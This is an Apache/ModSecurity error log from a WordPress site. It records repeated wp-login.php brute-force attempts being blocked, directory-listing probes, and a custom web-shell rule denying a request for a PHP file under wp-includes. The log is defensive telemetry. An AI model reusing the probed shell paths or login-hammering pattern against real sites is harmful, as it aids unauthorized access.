[Fri Feb 27 21:07:36.145671 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:50400] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXGOTvb5AeyJCdY7AK4wAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:36.983601 2026] [:error] [pid 52073:tid 52076] [client 159.203.62.100:50414] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXGIa650YPyxXVeRZBDAAAAYA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:37.816150 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:50420] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXGcKBhrfI6KNv9Ri5zwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:38.648197 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:50422] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXGvnSUDZue59Px9sLKQAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:39.484762 2026] [:error] [pid 54101:tid 54120] [client 159.203.62.100:47566] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXG1Y5qgRktcYTGFs9zAAAAcw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:39.484890 2026] [:error] [pid 54101:tid 54120] [client 159.203.62.100:47566] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXG1Y5qgRktcYTGFs9zAAAAcw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:42.597759 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:47568] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXHvnSUDZue59Px9sLLQAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:43.876021 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:47568] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXH_nSUDZue59Px9sLMAAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:45.121434 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:47568] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXIfnSUDZue59Px9sLMgAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:45.961095 2026] [:error] [pid 49306:tid 49325] [client 159.203.62.100:47582] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXIfnSUDZue59Px9sLMwAAAVE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:46.800845 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:47590] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXIsKBhrfI6KNv9Ri55wAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:47.633004 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:47592] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXI_nSUDZue59Px9sLOQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:48.470510 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:47594] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXJMKBhrfI6KNv9Ri57QAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:48.470585 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:47594] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXJMKBhrfI6KNv9Ri57QAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:49.303011 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:49872] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXJcKBhrfI6KNv9Ri58AAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:50.145597 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:49874] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXJsKBhrfI6KNv9Ri59gAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:50.992631 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:49880] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXJsKBhrfI6KNv9Ri5-gAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:51.829062 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:49886] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXJ4a650YPyxXVeRZBfQAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:52.668833 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:49902] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXKMKBhrfI6KNv9Ri5_gAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:52.668928 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:49902] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXKMKBhrfI6KNv9Ri5_gAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:54.861547 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:49908] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXKsKBhrfI6KNv9Ri6DAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:56.084237 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:49908] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXLMKBhrfI6KNv9Ri6EQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:56.084318 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:49908] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXLMKBhrfI6KNv9Ri6EQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:56.928651 2026] [:error] [pid 54103:tid 54193] [client 159.203.62.100:49922] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXLOvG4MPCmE0B2sChWwAAANY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:57.771808 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:49926] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXLfnSUDZue59Px9sLTwAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:58.604799 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:49932] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXLoa650YPyxXVeRZBmgAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:59.482868 2026] [:error] [pid 54101:tid 54114] [client 159.203.62.100:58980] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXL1Y5qgRktcYTGFs92AAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:00.319867 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXMMKBhrfI6KNv9Ri6KwAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:02.975944 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXMsKBhrfI6KNv9Ri6QQAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:04.298176 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXNMKBhrfI6KNv9Ri6RQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:06.910943 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXNsKBhrfI6KNv9Ri6UgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:08.147069 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXOMKBhrfI6KNv9Ri6WgAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:09.440932 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:58990] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXOcKBhrfI6KNv9Ri6XgAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:10.273586 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:51574] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXOoa650YPyxXVeRZBvAAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:11.110260 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:51580] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXO8KBhrfI6KNv9Ri6awAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:11.947138 2026] [:error] [pid 62998:tid 63017] [client 159.203.62.100:51594] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 18"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXO1QeueXZDUmoLolBRwAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:12.792050 2026] [:error] [pid 49306:tid 49331] [client 159.203.62.100:51608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXPPnSUDZue59Px9sLWwAAAVc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:12.792133 2026] [:error] [pid 49306:tid 49331] [client 159.203.62.100:51608] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXPPnSUDZue59Px9sLWwAAAVc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:15.043822 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:51610] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXP_nSUDZue59Px9sLXwAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:16.250663 2026] [:error] [pid 49306:tid 49322] [client 159.203.62.100:51610] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXQPnSUDZue59Px9sLYAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:18.792484 2026] [:error] [pid 49306:tid 49328] [client 159.203.62.100:51610] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXQvnSUDZue59Px9sLZQAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:19.991730 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:51610] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXQ_nSUDZue59Px9sLaAAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:21.193987 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:51610] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGXRfnSUDZue59Px9sLbAAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:22.034671 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:51824] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXRoa650YPyxXVeRZB3gAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:22.870809 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:51830] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXRoa650YPyxXVeRZB5gAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:08:23.719884 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:51834] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXR4a650YPyxXVeRZB7QAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:32:51.473332 2026] [autoindex:error] [pid 49306:tid 49308] [client 45.131.195.91:32231] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:32:51.800216 2026] [autoindex:error] [pid 49306:tid 49328] [client 45.131.195.91:32231] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:32:52.092345 2026] [autoindex:error] [pid 49306:tid 49316] [client 45.131.195.91:32231] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:32:52.332062 2026] [autoindex:error] [pid 49306:tid 49311] [client 45.131.195.91:32231] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 22:27:44.434565 2026] [:error] [pid 56075:tid 56101] [client 20.220.8.221:33927] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaGp4MKBhrfI6KNv9RgzjwAAABc"]
[Fri Feb 27 22:27:50.231727 2026] [autoindex:error] [pid 54231:tid 54244] [client 20.220.8.221:34692] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 22:27:50.450207 2026] [proxy_fcgi:error] [pid 54231:tid 54249] [client 20.220.8.221:34692] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 22:27:50.677081 2026] [autoindex:error] [pid 54231:tid 54257] [client 20.220.8.221:34692] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 22:27:50.891084 2026] [autoindex:error] [pid 54231:tid 54240] [client 20.220.8.221:34692] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
